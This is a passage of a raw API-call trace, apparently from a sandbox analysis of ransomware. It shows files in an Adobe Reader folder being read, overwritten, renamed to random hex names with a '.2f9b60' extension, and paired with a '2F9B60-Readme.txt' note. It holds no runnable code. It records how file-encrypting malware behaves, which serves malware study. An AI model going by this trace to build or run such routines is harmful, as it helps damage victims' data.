lpNumberOfBytesRead=0x3971fc68*=0x4, lpOverlapped=0x0) returned 1 [0231.122] SetFilePointerEx (in: hFile=0x32cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860960 [0231.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860d50 [0231.122] NtQuerySystemTime (in: CurrentTime=0x3971fb60 | out: CurrentTime=0x3971fb60*=132462178351150000) returned 0x0 [0231.122] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x15dcb61b [0231.122] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x54f96125 [0231.122] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x1518f2b0 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x7b5f8d0d [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x770da975 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x274de7ef [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x57652fbc [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x3d941b54 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x7ce04b81 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x1643adc4 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x3590cc1d [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x1518f2b0 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x296b56d7 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x383ab0a0 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x2d4a7d3d [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x767b31da [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x3555b9db [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x709b0ef2 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x512ad39 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x36be0da [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x4a311af5 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x19b62f5b [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0xe655120 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x6f3dc7f8 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x214125d4 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x37bca510 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x3f26b6c2 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x383ab0a0 [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0xbdf947c [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x797e6f5a [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x2b567e5f [0231.123] RtlRandomEx (in: Seed=0x3971fb50 | out: Seed=0x3971fb50) returned 0x499a32f6 [0231.129] ReadFile (in: hFile=0x32cc, lpBuffer=0x420d9960, nNumberOfBytesToRead=0x392, lpNumberOfBytesRead=0x3971fb50, lpOverlapped=0x0 | out: lpBuffer=0x420d9960*, lpNumberOfBytesRead=0x3971fb50*=0x392, lpOverlapped=0x0) returned 1 [0231.130] SetFilePointerEx (in: hFile=0x32cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.130] WriteFile (in: hFile=0x32cc, lpBuffer=0x420f3dd0*, nNumberOfBytesToWrite=0x392, lpNumberOfBytesWritten=0x3971fb54, lpOverlapped=0x0 | out: lpBuffer=0x420f3dd0*, lpNumberOfBytesWritten=0x3971fb54*=0x392, lpOverlapped=0x0) returned 1 [0234.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7310 [0234.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d90 [0234.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d90) returned 1 [0234.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420f3dd0) returned 1 [0234.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420d9960) returned 1 [0234.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0234.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058b50) returned 1 [0234.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d8180 [0234.020] SetFilePointerEx (in: hFile=0x32cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.020] WriteFile (in: hFile=0x32cc, lpBuffer=0x431f0de0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3971fc70, lpOverlapped=0x0 | out: lpBuffer=0x431f0de0*, lpNumberOfBytesWritten=0x3971fc70*=0x116, lpOverlapped=0x0) returned 1 [0236.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0236.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261af0 [0236.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261af0) returned 1 [0236.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20261af0 [0236.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0236.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263aa0 [0236.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263aa0) returned 1 [0236.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0236.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1b858cd0 [0236.177] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="65") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="e4") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="0c") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="ac") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="f7") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="c1") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="c2") returned 2 [0236.178] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="3d") returned 2 [0236.178] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="0b") returned 2 [0236.178] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="4b") returned 2 [0236.178] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="c6") returned 2 [0236.178] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="59") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="63") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="f0") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="88") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="00") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="89") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="bc") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="20") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="d5") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="86") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="ec") returned 2 [0236.178] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="0d") returned 2 [0236.178] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="d0") returned 2 [0236.178] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="b0") returned 2 [0236.178] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="48") returned 2 [0236.178] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="e0") returned 2 [0236.178] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="7a") returned 2 [0236.178] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="11") returned 2 [0236.179] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="35") returned 2 [0236.179] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="1a") returned 2 [0236.179] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="da") returned 2 [0236.179] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="4a") returned 2 [0236.179] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="c9") returned 2 [0236.179] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="76") returned 2 [0236.179] RtlInitAnsiString (in: DestinationString=0x3971fce8, SourceString="e265e40cacf7c1c23d0b4bc65963f0880089bc20d586ec0dd0b048e07a11351ada4ac976" | out: DestinationString="e265e40cacf7c1c23d0b4bc65963f0880089bc20d586ec0dd0b048e07a11351ada4ac976") [0236.179] RtlAnsiStringToUnicodeString (in: DestinationString=0x3971fcb8, SourceString="e265e40cacf7c1c23d0b4bc65963f0880089bc20d586ec0dd0b048e07a11351ada4ac976", AllocateDestinationString=1 | out: DestinationString="e265e40cacf7c1c23d0b4bc65963f0880089bc20d586ec0dd0b048e07a11351ada4ac976") returned 0x0 [0236.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20505b90 [0236.180] wcscat (in: _Dest=0x431f61f0, _Source="e265e40cacf7c1c23d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\e265e40cacf7c1c23d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\e265e40cacf7c1c23d" [0236.180] wcscat (in: _Dest=0x431f61f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\e265e40cacf7c1c23d.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\e265e40cacf7c1c23d.2f9b60" [0236.180] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\e265e40cacf7c1c23d.2f9b60", NtPathName=0x3971fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\e265e40cacf7c1c23d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x431002c0 [0237.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431002c0) returned 1 [0237.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43074fe0) returned 1 [0237.169] NtQueryInformationFile (in: FileHandle=0x32cc, IoStatusBlock=0x3971fcf8, FileInformation=0x3971fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3971fcf8, FileInformation=0x3971fd08) returned 0x0 [0237.169] NtSetInformationFile (FileHandle=0x32cc, IoStatusBlock=0x3971fcf8, FileInformation=0x3971fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f61f0) returned 1 [0237.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505b90) returned 1 [0237.513] FlushFileBuffers (hFile=0x32cc) returned 1 [0238.232] CloseHandle (hObject=0x32cc) returned 1 [0241.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c9580 [0241.620] wcscpy (in: _Dest=0x431c9580, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0241.620] wcscat (in: _Dest=0x431c9580, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2F9B60-Readme.txt" [0241.620] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\2f9b60-readme.txt")) returned 0x20 [0241.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9580) returned 1 [0241.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205de10) returned 1 Thread: id = 3914 os_tid = 0x2140 [0230.005] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_sent.gif")) returned 0x20 [0230.884] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif", dwFileAttributes=0x20) returned 1 [0231.039] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_sent.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc78 [0231.120] GetFileSizeEx (in: hFile=0xc78, lpFileSize=0x3ceaf720 | out: lpFileSize=0x3ceaf720*=909) returned 1 [0231.120] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x389, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.120] ReadFile (in: hFile=0xc78, lpBuffer=0x3ceaf6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ceaf6e8, lpOverlapped=0x0 | out: lpBuffer=0x3ceaf6a0*, lpNumberOfBytesRead=0x3ceaf6e8*=0x4, lpOverlapped=0x0) returned 1 [0231.132] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860d50 [0231.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609c0 [0231.133] NtQuerySystemTime (in: CurrentTime=0x3ceaf5e0 | out: CurrentTime=0x3ceaf5e0*=132462178351306000) returned 0x0 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x4b425937 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x7ffe1d3e [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x4544456b [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x524685a2 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x207a58c1 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x548897ec [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x2678ac35 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x2dedfc21 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x53b77100 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x5f0c7c0f [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x3dbdbafe [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x5f1ced35 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x28f990f [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x24afd1c1 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x7782551d [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x7fcf570c [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x2ed29604 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x7f3daf [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x6edca61e [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x6bfe5d35 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x370a9a54 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x4ff751fc [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x4544456b [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x6d8359e [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x2b77a183 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x51e73cb5 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x1673e4a0 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x395c5097 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x21331e34 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x4b23e20 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x2dedfc21 [0231.133] RtlRandomEx (in: Seed=0x3ceaf5d0 | out: Seed=0x3ceaf5d0) returned 0x1dcb845d [0231.140] ReadFile (in: hFile=0xc78, lpBuffer=0x420fb5f0, nNumberOfBytesToRead=0x38d, lpNumberOfBytesRead=0x3ceaf5d0, lpOverlapped=0x0 | out: lpBuffer=0x420fb5f0*, lpNumberOfBytesRead=0x3ceaf5d0*=0x38d, lpOverlapped=0x0) returned 1 [0231.140] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.140] WriteFile (in: hFile=0xc78, lpBuffer=0x420ca920*, nNumberOfBytesToWrite=0x38d, lpNumberOfBytesWritten=0x3ceaf5d4, lpOverlapped=0x0 | out: lpBuffer=0x420ca920*, lpNumberOfBytesWritten=0x3ceaf5d4*=0x38d, lpOverlapped=0x0) returned 1 [0234.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a90 [0234.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e90 [0234.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6e90) returned 1 [0234.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ca920) returned 1 [0234.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420fb5f0) returned 1 [0234.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867140) returned 1 [0234.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058b00) returned 1 [0234.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d7fc0 [0234.025] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.025] WriteFile (in: hFile=0xc78, lpBuffer=0x431f1fe0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3ceaf6f0, lpOverlapped=0x0 | out: lpBuffer=0x431f1fe0*, lpNumberOfBytesWritten=0x3ceaf6f0*=0x112, lpOverlapped=0x0) returned 1 [0236.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0236.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0236.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0236.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0236.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0236.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860960 [0236.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860960) returned 1 [0236.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0236.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97b20 [0236.185] sprintf (in: _Dest=0x1cd97b20, _Format="%c%c" | out: _Dest="70") returned 2 [0236.185] sprintf (in: _Dest=0x1cd97b22, _Format="%c%c" | out: _Dest="46") returned 2 [0236.185] sprintf (in: _Dest=0x1cd97b24, _Format="%c%c" | out: _Dest="c8") returned 2 [0236.185] sprintf (in: _Dest=0x1cd97b26, _Format="%c%c" | out: _Dest="74") returned 2 [0236.185] sprintf (in: _Dest=0x1cd97b28, _Format="%c%c" | out: _Dest="0d") returned 2 [0236.185] sprintf (in: _Dest=0x1cd97b2a, _Format="%c%c" | out: _Dest="32") returned 2 [0236.185] sprintf (in: _Dest=0x1cd97b2c, _Format="%c%c" | out: _Dest="fa") returned 2 [0236.185] sprintf (in: _Dest=0x1cd97b2e, _Format="%c%c" | out: _Dest="99") returned 2 [0236.185] sprintf (in: _Dest=0x1cd97b30, _Format="%c%c" | out: _Dest="eb") returned 2 [0236.185] sprintf (in: _Dest=0x1cd97b32, _Format="%c%c" | out: _Dest="94") returned 2 [0236.185] sprintf (in: _Dest=0x1cd97b34, _Format="%c%c" | out: _Dest="b1") returned 2 [0236.185] sprintf (in: _Dest=0x1cd97b36, _Format="%c%c" | out: _Dest="ce") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b38, _Format="%c%c" | out: _Dest="e9") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b3a, _Format="%c%c" | out: _Dest="c5") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b3c, _Format="%c%c" | out: _Dest="9b") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b3e, _Format="%c%c" | out: _Dest="f9") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b40, _Format="%c%c" | out: _Dest="7b") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b42, _Format="%c%c" | out: _Dest="86") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b44, _Format="%c%c" | out: _Dest="4f") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b46, _Format="%c%c" | out: _Dest="24") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b48, _Format="%c%c" | out: _Dest="0d") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b4a, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b4c, _Format="%c%c" | out: _Dest="01") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b4e, _Format="%c%c" | out: _Dest="76") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b50, _Format="%c%c" | out: _Dest="60") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b52, _Format="%c%c" | out: _Dest="8f") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b54, _Format="%c%c" | out: _Dest="8f") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b56, _Format="%c%c" | out: _Dest="40") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b58, _Format="%c%c" | out: _Dest="af") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b5a, _Format="%c%c" | out: _Dest="75") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b5c, _Format="%c%c" | out: _Dest="17") returned 2 [0236.186] sprintf (in: _Dest=0x1cd97b5e, _Format="%c%c" | out: _Dest="cc") returned 2 [0236.186] RtlInitAnsiString (in: DestinationString=0x3ceaf768, SourceString="7046c8740d32fa99eb94b1cee9c59bf97b864f240ded0176608f8f40af7517cc" | out: DestinationString="7046c8740d32fa99eb94b1cee9c59bf97b864f240ded0176608f8f40af7517cc") [0236.186] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ceaf738, SourceString="7046c8740d32fa99eb94b1cee9c59bf97b864f240ded0176608f8f40af7517cc", AllocateDestinationString=1 | out: DestinationString="7046c8740d32fa99eb94b1cee9c59bf97b864f240ded0176608f8f40af7517cc") returned 0x0 [0236.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b784370 [0236.187] wcscat (in: _Dest=0x431f62a0, _Source="7046c8740d32fa99" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7046c8740d32fa99") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7046c8740d32fa99" [0236.187] wcscat (in: _Dest=0x431f62a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7046c8740d32fa99.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7046c8740d32fa99.2f9b60" [0236.187] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 